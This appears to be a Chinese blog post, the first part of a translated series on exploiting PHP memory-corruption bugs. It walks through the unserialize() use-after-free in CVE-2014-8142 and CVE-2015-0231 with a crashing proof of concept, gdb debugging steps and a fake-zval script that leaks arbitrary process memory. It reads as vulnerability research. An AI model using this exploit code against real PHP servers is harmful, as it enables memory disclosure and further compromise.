php破坏代码,浅谈PHP内存破坏漏洞的利用 part1

分享到:

imgpxy.php?url=gnp.727991502001205102%2F2051_htnom%2Fserutcip%2Fmoc.ppaanis.rots.h-gidkcah%2F%2F%3Aptth

在基于web的应用上,很多人不认为内存破坏漏洞是一个问题。在SQL注入和XSS漏洞如日中天的年代,几乎没有人去关心这些类型的错误。一般人都会以“不能利用”为由简单的忽略这些漏洞。但是有时候这些漏洞要比SQL注入或者XSS更糟糕。因为攻击者可以:

1.获取系统权限

2.很难找到恶意的流量

3.需要维护者提供补丁,有时候还不能正确的修复。

这是我这一系列三篇文章中的第一篇,首先讲的是如何利用CVE-2014-8142(或者CVE-2015-0231),接下来是远程泄漏任意信息,最后是获得PHP解释器的控制权。

这一切早在2004年开始,Esser发现了反序列化函数unserialize()上的一枚UAF漏洞。这是Hardened-PHP项目的一部分,没有代码公开发布。在2010年Esser在SPLObjectStorage的unserialize()函数发现了另一个UAF漏洞,还在Syscan做了演讲,同样没有代码发布。最终CVE-2014-8142发布补丁,不过没有正确修复,这又导致了CVE-2015-0231的产生。

幸运的是,Stefan提供了一个会使解释器发生段错误的POC

for ($i=4; $i<100; $i++) {

var_dump($i);

$m = new StdClass();

$u = array(1);

$m->aaa = array(1,2,&$u,4,5);

$m->bbb = 1;

$m->ccc = &$u;

$m->ddd = str_repeat("A", $i);

$z = serialize($m);

$z = str_replace("bbb", "aaa", $z);

var_dump($z);

$y = unserialize($z);

var_dump($y);

}

?>

以上代码是如何工作的:我们更新了一个已经分配到aaa对象的值,然后"ccc"对象又指到了源“aaa"对象的一个值。

imgpxy.php?url=gnp.682282502001205102%2F2051_htnom%2Fserutcip%2Fmoc.ppaanis.rots.h-gidkcah%2F%2F%3Aptth

我们尝试找到罪魁祸首,我们查看process_nested_data,我们用gdb跟进到var_unserializer.c的第337行,看看那里发生了什么

imgpxy.php?url=gnp.332592502001205102%2F2051_htnom%2Fserutcip%2Fmoc.ppaanis.rots.h-gidkcah%2F%2F%3Aptth

我们运行下面这段代码,按c(继续)过第一个断点,在第二个断点时候,我们运行下面命令

printzv *(var_entries*)var_hash->first

$data ='O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:39:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}';

$x = unserialize($data);

var_dump($x);

?>

imgpxy.php?url=gnp.153403502001205102%2F2051_htnom%2Fserutcip%2Fmoc.ppaanis.rots.h-gidkcah%2F%2F%3Aptth

我们能够得到一个地址数组,指向一个变量已经被unserialize()解析的,我们感兴趣的是第五个元素(因为我们的代码使用的是R:5),我们进入这个地址看看

imgpxy.php?url=gnp.830503502001205102%2F2051_htnom%2Fserutcip%2Fmoc.ppaanis.rots.h-gidkcah%2F%2F%3Aptth

我们看到他调用了一个可疑的函数,我们再查看一下这个地址

imgpxy.php?url=gnp.880513502001205102%2F2051_htnom%2Fserutcip%2Fmoc.ppaanis.rots.h-gidkcah%2F%2F%3Aptth

成功了。然而,为了确定我们的地址一直在var_hash列表,我们继续执行

imgpxy.php?url=gnp.912723502001205102%2F2051_htnom%2Fserutcip%2Fmoc.ppaanis.rots.h-gidkcah%2F%2F%3Aptth

继续

imgpxy.php?url=gnp.776123502001205102%2F2051_htnom%2Fserutcip%2Fmoc.ppaanis.rots.h-gidkcah%2F%2F%3Aptth

我们看到,这里泄露了先前地址的数据,我们看看能不能读到任意内存地址

$fakezval =   pack(

'IIII',     //unsigned int

0x08048000, //address to leak

0x0000000f, //length of string

0x00000000, //refcount

0x00000006  //data type   NULL=0,LONG=1,DOUBLE=2,BOOL=3,ARR=4,OBJ=5,STR=6,RES=7

);

//obj from   original POC by @ion1c

$obj =   'O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:4:"AAAA";}';

$obj=unserialize($obj);

for($i = 0;   $i 

$v[$i]=$fakezval.$i;   //repeat to overwrite

}

//due to the   reference being overwritten by our loop above, leak memory

echo   $obj->ccc;

?>

下面是输出

imgpxy.php?url=gnp.978963502001205102%2F2051_htnom%2Fserutcip%2Fmoc.ppaanis.rots.h-gidkcah%2F%2F%3Aptth

我们创建我们自己的ZVAL,他是PHP自己使用的内部数据结构,我们通过pack()函数让我们的代码执行,

1.类型(无符号整型)

2.地址(从哪里泄露的)

3.长度(想泄露的内存地址长度)

4.参考

5.数据类型(6,字符串)

当然,这些值会改变,如果我们不伪造字符串ZVAL。我们的for循环不释放的内存,这使我们对上述输出的实际覆盖。我们给$i一个大值比实际需要的,以确保我们“无处不在“。

好了,我们现在能够泄露随机的数据,如何触发到 CVE-2015-0231?,简单,替换aaa为123,结果输出如下

imgpxy.php?url=gnp.759263502001205102%2F2051_htnom%2Fserutcip%2Fmoc.ppaanis.rots.h-gidkcah%2F%2F%3Aptth

POC仅仅只能泄露本地的内存,我们下一个目标是,针对远程的利用,期待下一集吧

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值